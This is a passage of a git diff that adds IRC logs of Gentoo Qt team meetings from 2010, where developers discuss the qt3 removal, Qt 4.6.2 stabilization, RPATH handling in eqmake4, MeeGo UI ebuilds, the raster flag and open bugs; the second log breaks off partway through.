+[21:47:05] <hwoarang> as you wish
+[21:47:23] <hwoarang> at least tell them ( comment on the bug ) that there is a final deadline till sunday
+[21:47:25] <spatz> I don't like screwing users over due to dev incompetence
+[21:47:35] <hwoarang> actually, till tomorrow so the arch team can stabilize it ASAP
+[21:47:39] <yngwin> i dont see the point of postponing if nobody is committing to fixing the situation
+[21:47:48] <spatz> even if the news item is out in 3 mins they won't stabilize it until sunday
+[21:47:53] <yngwin> it could take another 6 months
+[21:47:58] <hwoarang> i can for amd64
+[21:48:04] <hwoarang> and we can push the rest archers
+[21:48:14] <yngwin> if the news item is organized, then i'd be willing to postpone
+[21:48:39] <spatz> so let's start a forum thread and ask users for a mini migration guide
+[21:48:49] <hwoarang> ok sounds fine
+[21:48:55] <yngwin> fine with me
+[21:49:30] <yngwin> ok, any other qt3 related issues?
+[21:49:33] <hwoarang> no
+[21:49:40] <hwoarang> none I can think of
+[21:49:49] <spatz> any bugs open on what ssuominen mentioned, gambas and wca_supplicant?
+[21:49:53] <yngwin> ssuominen mentioned gamabas and wpa_supp
+[21:50:04] <yngwin> spatz: there must be
+[21:50:31] <ssuominen> gambas: bug 301376 and bug 302136
+[21:50:33] <willikins> ssuominen: https://bugs.gentoo.org/301376 "dev-util/gambas has optional dep on qt:3"; Gentoo Linux, Ebuilds; NEW; yngwin@g.o:maintainer-needed@g.o
+[21:50:46] <yngwin> and bug 302136
+[21:50:48] <willikins> yngwin: https://bugs.gentoo.org/302136 "dev-util/gambas-2.19.0 version bump"; Gentoo Linux, Applications; NEW; jer@g.o:maintainer-needed@g.o
+[21:50:55] <yngwin> thanks willikins
+[21:50:59] <spatz> bug 246932
+[21:51:01] <willikins> spatz: https://bugs.gentoo.org/246932 "net-wireless/wpa_supplicant USE="qt3" removal"; Gentoo Linux, Applications; NEW; yagorbunov@mail.ru:mobile@g.o
+[21:51:10] <hwoarang> !herd mobile
+[21:51:11] <willikins> hwoarang: (mobile) betelgeuse, cardoe, genstef, peper, steev
+[21:51:17] <hwoarang> ya right
+[21:51:18] <hwoarang> :)
+[21:51:25] <hwoarang> dead herd
+[21:51:40] <hwoarang> i bet we can touch them without even notice it
+[21:51:41] <ABCD> !meta -v net-wireless/wpa_supplicant
+[21:51:42] <willikins> ABCD: Package: net-wireless/wpa_supplicant Herd: mobile Maintainer: gurligebis@gentoo.org
+[21:51:43] <willikins> ABCD: (mobile) betelgeuse, cardoe, genstef, peper, steev
+[21:51:44] <yngwin> i can look at gambas
+[21:51:46] <wired> dont tell betelgeuse that :P
+[21:52:04] <hwoarang> :P
+[21:52:12] <hwoarang> i can ask and take care of wpa_supplicant
+[21:52:20] <ssuominen> yngwin: I started working on gambas once, here's the ebuild: http://paste.pocoo.org/show/180222/
+[21:52:32] <ssuominen> yngwin: gambas-2.19.0.ebuild
+[21:52:39] <wired> i could also take care of wpa_sup
+[21:52:39] <yngwin> ok
+[21:52:41] <wired> i use that thing
+[21:52:42] <wired> :p
+[21:52:48] <yngwin> great
+[21:52:51] <ssuominen> yngwin: I gave up after it started running xdg-utils crap and give me SANDBOX violations
+[21:53:00] <yngwin> i c
+[21:53:06] <yngwin> well, i'll have a go
+[21:53:09] <ssuominen> yngwin: patching them out needs eautoreconf, and eautoreconf needs those optional deps present
+[21:53:19] <ssuominen> yngwin: kinda sucks ;p
+[21:53:45] <yngwin> well, i'll play with it and see
+[21:53:51] <hwoarang> nice
+[21:54:06] <yngwin> as it's maintainer-needed we can mask it until someone is ready to pick it up
+[21:54:37] <ssuominen> well it's really simple: if nobody here now cares about it, just add treecleaner@ to CC :P
+[21:54:59] * hwoarang evil! :)
+[21:55:15] <hwoarang> we are waiting just by the corner
+[21:55:22] <ssuominen> ;)
+[21:55:32] <yngwin> there's also bug 301382
+[21:55:34] <willikins> https://bugs.gentoo.org/301382 "games-board/qgo removal"; Gentoo Linux, Applications; NEW; yngwin@g.o:games@g.o
+[21:55:44] <ssuominen> oh yeah, trunk is qt4
+[21:55:45] <yngwin> a qt4 snapshot version is possible there
+[21:56:07] <yngwin> there is a live ebuild attached but it needs work
+[21:56:12] <hwoarang> i will take care of it
+[21:56:17] <yngwin> great
+[21:56:26] <hwoarang> mask the current ebuild in the mean time
+[21:57:11] <yngwin> then what we need is to prepare a package.mask file with all ebuilds that depend on qt:3, so we can drop that in when the time is ready
+[21:57:26] <yngwin> that couls also be used as package.unmask for sunset users
+[21:57:33] <hwoarang> indeed
+[21:57:47] <hwoarang> we can work on this in overlay
+[21:57:47] <yngwin> i propose we work on that in the overlay
+[21:57:52] <hwoarang> ha :P
+[21:57:54] <yngwin> :)
+[21:57:59] <wired> lol
+[21:58:08] <yngwin> !rdep qt
+[21:58:09] <willikins> yngwin: Too many packages have reverse RDEPEND on x11-libs/qt, go to http://tinderbox.dev.gentoo.org/misc/rindex/x11-libs/qt instead.
+[21:58:16] <yngwin> that is a good start ^
+[21:58:38] <hwoarang> noted
+[21:58:38] <yngwin> and then compare it to the bugs in the tracker
+[21:58:49] <yngwin> so who is going to work on that?
+[21:59:00] <hwoarang> i will
+[21:59:08] <hwoarang> but it wont be my 1st priority
+[21:59:11] <hwoarang> :/
+[21:59:15] <yngwin> i will as well
+[21:59:19] <hwoarang> ok
+[21:59:23] <wired> hwoarang: i'll get wpa from you, so you'll have more time
+[21:59:23] <wired> :p
+[21:59:28] <yngwin> but i was hoping for some more cooperation
+[21:59:36] <hwoarang> fine wired
+[21:59:49] <hwoarang> yngwin: it doesnt matter since i will have some spare time these days
+[21:59:56] <yngwin> ok
+[22:00:11] <yngwin> and we'll stay in touch about this in #-qt
+[22:00:22] <hwoarang> sure thing
+[22:00:29] <yngwin> anything else about qt:3
+[22:00:43] *** Joins: pesa (~Pesa@host37-125-dynamic.50-82-r.retail.telecomitalia.it)
+[22:00:43] <yngwin> ok, then 4
+[22:00:47] <yngwin> 4. qt 4.6.x stabilization
+[22:00:49] <pesa> hey guys
+[22:00:52] <pesa> sorry for the delay
+[22:00:52] <hwoarang> hello there
+[22:00:56] <yngwin> hi pesa
+[22:00:56] <wired> hey pesa 
+[22:00:57] <hwoarang> no prob !
+[22:01:03] <wired> dont worry about it
+[22:01:04] <wired> :)
+[22:01:09] <yngwin> we're not done yet, so
+[22:01:19] <pesa> there was a car accident :(
+[22:01:22] <wired> oh
+[22:01:24] <ayoy> :/
+[22:01:25] <hwoarang> oops
+[22:01:26] <wired> you ok?
+[22:01:26] <pesa> i got trapped in the traffic jam
+[22:01:31] <wired> ah
+[22:01:32] <yngwin> i c
+[22:01:32] <ayoy> oh, good you're ok
+[22:01:35] <pesa> yeah i wasn't involved
+[22:01:53] <hwoarang>  :)
+[22:01:56] <yngwin> alright :)
+[22:02:03] <wired> lets go to 4.
+[22:02:17] <yngwin> about stabilization: 4.6.1 now, or wait ~2 weeks and go for 4.6.2?
+[22:02:23] <hwoarang> 2
+[22:02:28] <spatz> 2
+[22:02:33] <wired> i stick to my original proposal, go for .2
+[22:02:43] <ayoy> what are the issues with 4.6.1?
+[22:03:02] <ayoy> apart from bugs on failed linking/compilation of qt-webkit and qt-gui
+[22:03:08] <yngwin> nothing really
+[22:03:10] <ayoy> which are probably invalid
+[22:03:13] <ayoy> ;)
+[22:03:22] <hwoarang> i would expect 4.6.2 to work better with Kde-4.4
+[22:03:23] <pesa> those are binutils bug afaik
+[22:03:24] <hwoarang> than 4.6.1
+[22:03:29] <yngwin> no they are valid, but ppc only and being taken care of by toolchain
+[22:03:48] <ayoy> yeah, I actually meant so
+[22:03:49] <wired> we have .2 around, no serious bugs yet, lets get straight to that 
+[22:03:54] <yngwin> hwoarang: yes but kde 4.4 is not going stable for the next few months
+[22:03:54] <spatz> I think we can stabilize march 1st
+[22:04:02] <wired> spatz: +1
+[22:04:07] <hwoarang> ok
+[22:04:23] <spatz> that's soon enough, imo
+[22:04:27] <wired>  assuming nothing horrible pops up in the meantime
+[22:04:32] <spatz> as always :)
+[22:04:42] <hwoarang> i agree
+[22:04:46] <yngwin> ok, it seems the consensus is to do 4.6.2 stablereq on march 1st
+[22:04:48] <ayoy> no problem for me, just wondering what's wrong with .1
+[22:04:55] <ayoy> :)
+[22:04:55] <wired> ayoy: its OLD!
+[22:04:57] <wired> :P
+[22:05:03] <hwoarang> moving to 5?
+[22:05:04] <ayoy> yeaaaah :D
+[22:05:07] <ayoy> yup
+[22:05:18] <wired> gogo
+[22:05:18] <hwoarang> pesa: i need your opinion for 5
+[22:05:19] <yngwin> 5. shall we keep resetting QMAKE_RPATH in eqmake4?
+[22:05:19] <yngwin> It might cause problems for some apps that need an RPATH.
+[22:05:29] <pesa> hwoarang: oh ok :P
+[22:05:39] <hwoarang> do you remember when and why we added that?
+[22:05:52] <pesa> since the beginning IIRC
+[22:05:57] <ayoy> pesa: not really
+[22:05:58] <hwoarang> indeed
+[22:06:02] <ayoy> it's not present in qt4.eclass
+[22:06:03] <hwoarang> it was there in 2/2/2009
+[22:06:11] <ayoy> yyy?
+[22:06:17] <hwoarang> i mean in qt4-edge
+[22:06:26] <hwoarang> the first commit of qt4-edge has it
+[22:06:30] <ayoy> yeah, I got it :)
+[22:06:34] <hwoarang> but why/who addedit and why
+[22:06:39] <hwoarang> i cant really recall
+[22:06:42] <pesa> uhm
+[22:06:48] <hwoarang> maybe it was in your very primary patches
+[22:06:54] <pesa> maybe
+[22:07:05] <ayoy> well, it's okay to remove fishy RPATHs and it's nice that our eclass does it
+[22:07:06] <pesa> i remember there were a bug in older qmake
+[22:07:11] <ayoy> but there are cases when RPATH is needed
+[22:07:17] <ayoy> and it's valid
+[22:07:26] <ayoy> and then we have bug 305445
+[22:07:28] <willikins> https://bugs.gentoo.org/305445 "media-gfx/kst-2.0.0_beta2-r1 does not start"; Gentoo Linux, Ebuilds; NEW; marco.dr@tiscali.it:ayoy@g.o
+[22:07:30] <hwoarang> what if you added in the end of qmake command?
+[22:07:32] <pesa> ancient qmake did set a wrong RPATH in most cases
+[22:07:33] <hwoarang> *eqmake4
+[22:07:37] <spatz> as ssuominen pointed out, portage takes care of unsafe RPATHs, so we don't need to worry about it
+[22:07:47] <ayoy> hwoarang: I haven't tried it
+[22:07:53] <ayoy> though it should fix the problem
+[22:07:55] <hwoarang> spatz: afaik portage complains 
+[22:08:04] <hwoarang> and throughs QA warnings
+[22:08:09] <ayoy> my question is what behaviour we want as default?
+[22:08:14] <spatz> which is good enough, imo
+[22:08:16] <yngwin> can we test it in qt4-edge and drop it there
+[22:08:17] <pesa> yeah portage complains and workarounds the problem
+[22:08:21] <ayoy> I'd say that in most cases there are no insecure RPATHs
+[22:08:36] <pesa> i think ayoy is right
+[22:08:39] <ayoy> and if they are, why not add "QMAKE_RPATH=" to eqmake4 then
+[22:08:49] <pesa> qmake was fixed to add correct runpaths i think
+[22:08:51] <ayoy> or even provide a flag in qt4-r2.eclass
+[22:08:58] <hwoarang> flag?
+[22:09:04] <pesa> no need for a flag
+[22:09:05] <ayoy> that would reset QMAKE_RPATH
+[22:09:16] <ayoy> like you write an ebuild, and have insecure rpaths
+[22:09:22] <ayoy> you set a flag and have them fixed
+[22:09:27] <ayoy> thou it seems like an overkill
+[22:09:28] <wired> we could override qt4-r2 for in overlay for testing, without the RPATH override, if all goes well we commit it
+[22:09:29] <pesa> just call eqmake4 passing QMAKE_RPATH= from the affected ebuilds
+[22:09:40] <ayoy> pesa++
+[22:09:47] <hwoarang> well yes
+[22:09:51] <spatz> wired: it's ok in qt4.eclass, no reason it won't work in qt4-r2
+[22:10:00] <hwoarang> that would be the best since eqmake4 accepts parameters
+[22:10:13] <ayoy> spatz++ :)
+[22:10:13] <yngwin> ok, so let's drop it
+[22:10:15] <spatz> so let's just remove it
+[22:10:22] <ayoy> ok, I'm gonna do it
+[22:10:30] <hwoarang> lets see how that will go
+[22:10:35] <yngwin> alright
+[22:10:38] <wired> :)
+[22:10:41] <spatz> so 6?
+[22:10:43] <pesa> is there a bug for that?
+[22:10:44] <ssuominen> good
+[22:10:46] <ayoy> yes please
+[22:10:46] * ssuominen is happy
+[22:10:55] * spatz is happy when ssuominen is happy
+[22:11:06] * wired is happy because he's happy!
+[22:11:07] <hwoarang> about 6
+[22:11:11] <hwoarang> what the heck is that
+[22:11:18] <yngwin> 6. Harmattan UI Application Framework (a.k.a. Maemo 6 or MeeGo) ebuilds
+[22:11:24] <ayoy> guys, this is a mess
+[22:11:32] <pesa> lol
+[22:11:37] <yngwin> hwoarang: what we talked about before, the meego ui ebuilds
+[22:11:47] <hwoarang> I asked on #meego
+[22:11:48] <ayoy> anyhow, that's one of Nokia's proposals for QGraphicsView-based widget framewoerk
+[22:11:50] <yngwin> i didnt know ayoy started this
+[22:11:50] <hwoarang> there is no repo available
+[22:11:53] <hwoarang> so what is that
+[22:11:59] <spatz> why is there another overlay for that? looks like only 3 packages
+[22:12:04] <ayoy> hwoarang: there is a repo available
+[22:12:09] <hwoarang> for meego?
+[22:12:11] <ayoy> and I've been working on this for 9 months now...
+[22:12:12] <wired> ayoy: so with those ebuilds i can have meego?
+[22:12:15] <yngwin> hwoarang: this is on nokia's repo
+[22:12:25] <pesa> ayoy: oh nice :)
+[22:12:25] <ayoy> wired: yes, but don't call it meego yet
+[22:12:32] <ayoy> pesa: kthx :)
+[22:12:36] <yngwin> this is their work on maemo 6, the successor of maemo 5 (in n900 now)
+[22:12:45] <ayoy> this is the proposed Maemo 6 UI
+[22:12:45] <hwoarang> ah
+[22:12:47] <ayoy> based on Qt
+[22:12:47] <hwoarang> maemo
+[22:12:48] <hwoarang> ok
+[22:12:51] <yngwin> maemo 6 is set to be marketed as meego 1.0
+[22:12:51] <ayoy> and QGraphicsView
+[22:12:57] <wired> ayoy: ok, (gj btw) so why isn't that in qting-edge? or in a "meego" overlay in layman? :P
+[22:13:14] <hwoarang> yes, why having two overlays
+[22:13:15] <ayoy> wired: because I wasn't sure if we want to add this
+[22:13:17] <hwoarang> we can use a branch
+[22:13:27] <pesa> no need to create yet another overlay imho
+[22:13:29] <hwoarang> ofc we will have meego
+[22:13:29] <wired> why branch
+[22:13:30] <spatz> why wouldn't we want to add this? that's what overlays are for
+[22:13:31] <wired> just merge them
+[22:13:33] <ayoy> it's not about branching
+[22:13:35] <ayoy> sure
+[22:13:40] <wired> i don't see any conflicting ebuilds
+[22:13:40] <wired> :)
+[22:13:43] <hwoarang> wired: because we are gonna do some heavy work on this
+[22:13:48] <wired> hwoarang: so?
+[22:13:48] <ayoy> I didn't want to "publish" it so quickly
+[22:13:54] <yngwin> i was planning to create ebuilds for the meego ui at some point and host them in qting-edge
+[22:13:56] <ayoy> but I've asked today at work 
+[22:14:07] <ayoy> and I got applause and acceptance :P
+[22:14:16] <ayoy> so I'll transfer these ebuilds to qting-edge
+[22:14:24] <hwoarang> wired: seems more appropriate to me
+[22:14:26] <ayoy> and we're done with it
+[22:14:30] <pesa> sweet
+[22:14:41] <ayoy> if anyone is interested
+[22:14:44] <hwoarang> to work on a separate branch before push it to master branch
+[22:14:47] <ayoy> just emerge libdui
+[22:14:51] <yngwin> i was thinking we may want a new category for this
+[22:14:52] <pesa> do they use a custom build system?
+[22:14:57] <ayoy> with demos USE (it's enabled by default)
+[22:15:04] <ayoy> and runi widgetsgallery
+[22:15:07] <ayoy> *run
+[22:15:09] <ayoy> to see the demo :)
+[22:15:11] <wired> hwoarang: qting-edge is already an overlay, branching will just make it messy
+[22:15:14] <ayoy> pesa: no, it's qmake-based
+[22:15:21] <wired> it won't be installed to user systems automatically :P
+[22:15:25] <ayoy> yngwin: I was thinking the same
+[22:15:25] <pesa> ayoy: i see
+[22:15:32] <wired> lets just add it there, we can always mask it if it fails at some point
+[22:15:40] <ayoy> yngwin: but for now there are 2 relevant packages only
+[22:15:47] <yngwin> ok
+[22:15:50] <ayoy> wired: it won't fail :)
+[22:15:52] <spatz> it's just 3 packages, let's not get ahead of ourselves :)
+[22:16:04] <yngwin> let's talk about the details in #-qt later
+[22:16:07] <ayoy> one of them is irrelevant :P
+[22:16:12] <ayoy> okay
+[22:16:15] <wired> ayoy: im just saying... :)
+[22:16:19] <ayoy> I'll commit them to qting-edge
+[22:16:23] <yngwin> but we agree these are interesting and we want them in qting-edge
+[22:16:27] <hwoarang> ofc
+[22:16:58] <ayoy> however, one finding :)
+[22:17:10] <wired> excellent
+[22:17:11] <wired> :)
+[22:17:14] <ayoy> meego, or Maemo 6 might be different
+[22:17:15] <ayoy> :)
+[22:17:21] <ayoy> as Nokia hasn't decided yet
+[22:17:29] <ayoy> and they really have problems with it :)
+[22:17:33] <spatz> let's move to 7?
+[22:17:36] <ayoy> yup
+[22:17:51] <yngwin> yes there will be a lot of work on meego still to come
+[22:18:09] <yngwin> anyway
+[22:18:14] <hwoarang> guys i have to leave now. you dont need my presence
+[22:18:15] <yngwin> 7. other open bugs
+[22:18:22] <yngwin> hwoarang: ok, thanks
+[22:18:25] <hwoarang> i will read the backlong later about 7 
+[22:18:26] <spatz> hwoarang: thanks, cya
+[22:18:28] <hwoarang> :)
+[22:18:30] <wired> hwoarang: ok, thanks for being here, ctya
+[22:18:31] <ayoy> bai hwoarang
+[22:18:32] <wired> cya
+[22:18:33] * hwoarang laterz
+[22:18:45] <pesa> hwoarang: thanks, cya ;)
+[22:19:13] <yngwin> http://gitorious.org/gentoo-qt/pages/PriorityBugs
+[22:19:41] <wired> bug 292337
+[22:19:42] <yngwin> did anybody work on any of these bugs?
+[22:19:43] <willikins> wired: https://bugs.gentoo.org/292337 "x11-libs/qt-webkit-4.5.3 requires dbus or not?"; Gentoo Linux, Applications; REOP; tot-to@tot-to.com:qt@g.o
+[22:19:45] <wired> i can actually test this now
+[22:19:49] <wired> i'll do that
+[22:19:50] <wired> :)
+[22:20:05] <yngwin> ok
+[22:21:02] <yngwin> did anybody test goldendict with gcc 4.4?
+[22:21:35] <pesa> i didn't
+[22:21:41] <yngwin> i guess not
+[22:22:10] <pesa> i can do it though
+[22:22:32] <yngwin> ayoy: you added the patch
+[22:22:39] <pesa> well i can't move to portage :P
+[22:22:47] <pesa> but i can review the ebuild
+[22:22:59] <yngwin> ok plz do
+[22:23:08] <ayoy> yngwin: really?
+[22:23:18] <yngwin> 4 months ago it seems
+[22:23:38] <yngwin> http://gitorious.org/gentoo-qt/qting-edge/commit/d56cfee40a63b0d827ebc303d55e2b799667c025
+[22:23:47] <ayoy> ah true
+[22:23:50] <ayoy> I was looking at the bug
+[22:23:57] <ayoy> so I tested it
+[22:24:02] <ayoy> half a year ago
+[22:24:16] <yngwin> ok
+[22:24:39] <yngwin> there's also the live ebuild that needs review
+[22:25:04] <yngwin> so if pesa can do that, we can finally solve that bug
+[22:25:11] <pesa> yeah ok
+[22:25:33] <pesa> upstream suggest using a git version with qt >= 4.5.3 anyway
+[22:25:39] <pesa> *suggests
+[22:25:41] <yngwin> yes
+[22:25:48] <yngwin> maybe we could make a snapshot
+[22:26:04] <yngwin> i could take a look at that after the qt3 mask
+[22:26:25] <pesa> ok, i'll do my reviews meanwhile
+[22:26:30] <yngwin> and what about bug 300594
+[22:26:32] <willikins> yngwin: https://bugs.gentoo.org/300594 "QMAKESPEC for amd64: linux-g++-64 or linux-g++?"; Gentoo Linux, Applications; NEW; pva@g.o:qt@g.o
+[22:26:56] <ayoy> yeah, it breaks multilib
+[22:27:22] <pesa> native multilib you mean?
+[22:27:54] <ayoy> I don't really know what "native" means here
+[22:28:05] <pesa> sorry, i'd better read the description :P
+[22:28:09] <ayoy> but I guess that it's adding -m64 everywhere to qt mkspecs
+[22:29:18] <ayoy> or isn't it just about a libdir?
+[22:29:28] <ayoy> i.e. lib vs lib64
+[22:29:46] <pesa> i think so
+[22:30:42] <ayoy> anyway, we're modifying mkspecs for Qt in qt-core ebuilds
+[22:30:54] <ayoy> precisely, QMAKE_CFLAGS and QMAKE_CXXFLAGS
+[22:30:55] <ayoy> iirc
+[22:31:22] <pesa> so?
+[22:31:32] <ayoy> so I don't really know if the bug is relevant
+[22:31:50] <yngwin> can somebody just commit himself to finding out what is the correct solution?
+[22:31:50] <ayoy> cause mkspecs defaults are somewhat ignored
+[22:32:00] <ayoy> by CFLAGS from make.conf
+[22:32:12] <ayoy> I can comment on the bug
+[22:32:18] <ayoy> anyway, I can think about the solution
+[22:32:24] <yngwin> ok
+[22:32:33] <pesa> it's a bit of a mess TBH
+[22:32:40] <ayoy> tru
+[22:33:15] <yngwin> also bug 305001
+[22:33:17] <willikins> yngwin: https://bugs.gentoo.org/305001 "x11-libs/qt-core references /usr/X11R6 in mkspecs"; Gentoo Linux, Library; NEW; ohnobinki@ohnopublishing.net:qt@g.o
+[22:33:28] <ayoy> oh :)
+[22:33:44] <ayoy> this one is pretty straightforward thou
+[22:33:57] <ayoy> I guess that the issue is that /usr/X11r^ is deprecated, right?
+[22:34:03] <ayoy> */usr/X11R6
+[22:34:04] <yngwin> yes
+[22:34:06] <pesa> yep
+[22:34:16] <ayoy> so just sed it out and be happy
+[22:34:27] <pesa> coincidentally i noticed that just the day before the bug was reported :P
+[22:34:32] <yngwin> so should be easy to fix, but somebody needs to do it
+[22:34:43] <ayoy> I'll do it as well
+[22:34:49] <yngwin> thanks
+[22:35:53] <yngwin> anything else?
+[22:35:57] <pesa> btw has anyone tested qt without X11 recently?
+[22:36:12] <yngwin> not me
+[22:36:26] <ayoy> there was a bug that got reopend, or resubmitted recently
+[22:36:33] <ayoy> about qt-core depending on libX11
+[22:36:37] <ayoy> pesa: do you mean this issue?
+[22:36:43] <wired> i thought i fixed htat
+[22:36:46] <pesa> i dunno
+[22:36:47] <wired> i didn't?
+[22:36:50] <ayoy> yeah, it got fixed
+[22:37:08] <wired> it didn't "get fixed", i fixed it :P
+[22:37:08] <pesa> i noticed a problem with PyQt4 which involves mkspecs
+[22:37:19] <ayoy> wired: sry :P
+[22:37:25] <wired> ayoy: :D
+[22:37:37] <yngwin> bug 304115
+[22:37:39] <willikins> yngwin: https://bugs.gentoo.org/304115 "=dev-python/PyQt4-4.7 with USE="-X" tries to link with -lXext"; Gentoo Linux, Applications; NEW; orzel@freehackers.org:qt@g.o
+[22:38:01] <pesa> more precisely, linux.conf seems to hardcode "-lXext -lX11 -lm" in QMAKE_LIBS_X11
+[22:38:14] <ayoy> bastard
+[22:38:25] <pesa> do you know if this happens in qt too?
+[22:38:40] <pesa> IIRC we just patch the configure
+[22:38:40] <ayoy> no idea, I can quickly check
+[22:38:58] <ayoy> yes, it does
+[22:39:05] <pesa> mmm
+[22:39:11] <pesa> so how can that work?
+[22:39:20] <wired> interesting
+[22:39:28] * wired builds qt-core in his Xless chroot for testing
+[22:39:31] <pesa> qmake always tries to link with libX11 and friends
+[22:39:32] <ayoy> well, but this is just QMAKE_LIBS_X11
+[22:39:39] <ayoy> not necessarily used to build QtCore
+[22:39:49] <yngwin> also bug 304971 is related to the earlier issue
+[22:39:51] <willikins> yngwin: https://bugs.gentoo.org/304971 "qt-core stores machine-specific information in /usr/share/qt4/mkspecs"; Gentoo Linux, Library; NEW; ohnobinki@ohnopublishing.net:qt@g.o
+[22:39:57] <pesa> not to build qt-core, but to build packages depending on it
+[22:40:07] <ayoy> ah right
+[22:40:41] <yngwin> so can you two try to figure this out?
+[22:40:54] <wired> so pesa trying to build quassel-core would fail on an Xless system?
+[22:41:09] <pesa> wired: i don't know, i'm asking if it fails
+[22:41:18] <yngwin> then i think we can conclude the meeting, unless there is anything else
+[22:41:19] <ayoy> yngwin: I can take a look and maybe figure out the solution
+[22:41:22] <wired> im starting a merge now pesa 
+[22:41:26] <yngwin> great
+[22:41:28] <wired> so we'll know in ~20m
+[22:41:29] <wired> :)
+[22:41:29] <pesa> wired: great thanks
+[22:41:44] <ayoy> yngwin: but we're doing stuff that's unsupported by upstream, I'm afraid
+[22:41:56] <yngwin> "stuff"?
+[22:42:04] <ayoy> messing up with mkspecs
+[22:42:06] <wired> pesa: do you want me to test stable (4.5) or testing?
+[22:42:11] <pesa> wired: i'll be surprised to know that qmake hardcodes -lX11 but the build succeeds nonetheless :P
+[22:42:13] <ayoy> well, even splitting qt to modules :P
+[22:42:20] <ayoy> but let's not talk about it :D
+[22:42:27] <yngwin> yes, we are aware
+[22:42:35] <pesa> wired: uhm... 4.6.x i guess
+[22:42:37] <wired> ok
+[22:42:53] <pesa> since it's going stable in the near future
+[22:42:54] * wired switches to testing chroot
+[22:42:59] <pesa> :)
+[22:43:34] <wired> ok here goyes
+[22:43:37] <wired> ok here goes*
+[22:43:40] <yngwin> ok we're done then?
+[22:43:45] <ayoy> I guess so
+[22:43:45] <wired> i guess
+[22:43:46] <ayoy> :)
+[22:43:46] <wired> :)
+[22:43:48] <wired> lol
+[22:43:50] <ayoy> :D
+[22:43:52] <yngwin> ====================================
+[22:43:55] <wired> the END
diff --git a/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100318.txt b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100318.txt
new file mode 100644
index 00000000..b56fd96b
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100318.txt
@@ -0,0 +1,366 @@
+[21:02:41] <yngwin> !herd qt
+[21:02:41] <willikins> (qt) abcd, ayoy, hwoarang, spatz, tampakrap, wired, yngwin
+[21:02:44] <ayoy> hai
+[21:02:48] <yngwin> who is present?
+[21:02:58] * tampakrap 
+[21:03:11] * hwoarang 
+[21:03:38] <yngwin> abcd said he couldnt make it, and wired said he would be late
+[21:04:03] <hwoarang> right
+[21:04:17] <yngwin> spatz: u here?
+[21:04:44] <yngwin> ok, let's start, agenda is at http://gitorious.org/gentoo-qt/pages/Meeting20100318
+[21:04:57] <wired> im here
+[21:04:57] <yngwin> 1. raster useflag
+[21:05:02] <yngwin> great
+[21:05:38] <hwoarang> ok
+[21:05:40] <yngwin> so what do we think about enabling raster by default?
+[21:05:52] * hwoarang objects
+[21:05:53] *** Joins: spatz_ (~spatz@gentoo/developer/spatz)
+[21:06:02] *** Quits: spatz (~spatz@gentoo/developer/spatz) (Ping timeout: 276 seconds)
+[21:06:02] *** spatz_ is now known as spatz
+[21:06:24] * tampakrap approves
+[21:06:31] *** Joins: pontecorvo (~solshark@93-183-243-88-dynamic.retail.datagroup.ua)
+[21:06:52] <wired> do we have feedback on raster+kde?
+[21:06:52] <yngwin> i would propose we keep it in testing on 4.7 and enable it by default when that goes into the tree
+[21:06:52] *** Joins: ohnobinki (~ohnobinki@ohnobinki-1-pt.tunnel.tserv9.chi1.ipv6.he.net)
+[21:06:58] <hwoarang> my blog and forums
+[21:06:58] <tampakrap> running kde 4.4.1, a bunch of kde/qt apps with raster enabled no problems
+[21:07:20] <spatz> crap, we started already? :(
+[21:07:23] <spatz> I had connection issues
+[21:07:26] <hwoarang> spatz: just a minute ago
+[21:07:29] <wired> tampakrap: great. hwoarang a summary of your blog comments and forums?
+[21:07:32] <yngwin> glad you could join us :)
+[21:07:40] <hwoarang> the summary is that we cant be sure
+[21:07:56] <hwoarang> i dont care about kde apps
+[21:08:19] <hwoarang> however raster is responsible for some fonts distorsion
+[21:08:23] <wired> +1 for yngwin's recommendation then. we can decide when 4.7 is about to go in tree
+[21:08:27] <hwoarang> and/or rendering issues
+[21:08:35] <hwoarang> like we have it now
+[21:08:35] <wired> until then, lets test it in -edge
+[21:08:42] <hwoarang> +raster on live until 4.7 final is out
+[21:08:53] <wired> yes
+[21:08:57] <yngwin> that will be 2-3 months
+[21:09:05] <wired> should be enough for testing i guess
+[21:09:18] <wired> we should include +raster to alphas and betas as wel
+[21:09:20] <wired> l
+[21:09:23] <yngwin> ok, anyone opposed to that?
+[21:09:30] <ayoy> no :)
+[21:09:38] <hwoarang> ;)
+[21:09:51] <yngwin> ok, so we enable raster by default on >4.6.9999
+[21:10:02] <hwoarang> sure
+[21:10:16] <yngwin> good
+[21:10:19] <yngwin> 2. review open bugs
+[21:10:21] <hwoarang> hold on
+[21:10:30] <hwoarang> wired: said about alphas and betas
+[21:10:40] <hwoarang> i propose to not bother about TP for now
+[21:10:42] <hwoarang> not even ship it
+[21:10:44] <wired> TP
+[21:10:50] <wired> i guess i can comment on that
+[21:10:52] <yngwin> tp is broken, right?
+[21:10:55] <wired> it just wont build split
+[21:10:57] <wired> period
+[21:10:58] <wired> :p
+[21:11:17] <hwoarang> since +stable-branch works, it means that _alpha will be  better
+[21:11:21] <yngwin> ok, we skip this one then, and wait for next pre-release
+[21:11:21] <hwoarang> so screw TP
+[21:11:26] <wired> i dont know what they did
+[21:11:33] <wired> but even if you try to ./configure manually
+[21:11:39] <wired> and remove modules
+[21:11:43] <wired> it still builds whatever it wants
+[21:11:48] <hwoarang> thats nice
+[21:11:50] <wired> so forget about it
+[21:12:15] <hwoarang> ok moving on
+[21:12:16] <hwoarang> 2.
+[21:12:24] <yngwin> a. bug 304971 (qt-core stores machine-specific information in /usr/share/qt4/mkspecs)
+[21:12:26] <willikins> yngwin: https://bugs.gentoo.org/304971 "qt-core stores machine-specific information in /usr/share/qt4/mkspecs"; Gentoo Linux, Library; ASSI; ohnobinki@ohnopublishing.net:qt@g.o
+[21:12:32] <ayoy> yeah
+[21:12:38] <ayoy> I wanted to bite this
+[21:12:43] * hwoarang steps aside and listens
+[21:12:44] <yngwin> good
+[21:12:53] <ayoy> but when I looked at qt4-build_src_prepare() I cried :(
+[21:13:13] <hwoarang> with all the sed crap?
+[21:13:17] <ayoy> yeah
+[21:13:41] <ayoy> I hope that we can move it out of mkspecs directory anyway
+[21:14:02] <ayoy> and just set the env values where needed on the fly
+[21:14:05] <ayoy> during building
+[21:14:13] <yngwin> that would be ideal
+[21:14:15] <ayoy> however, I can test it for amd64 and x86, and that's it
+[21:14:31] <ayoy> and we have there lots of stuff for different arches
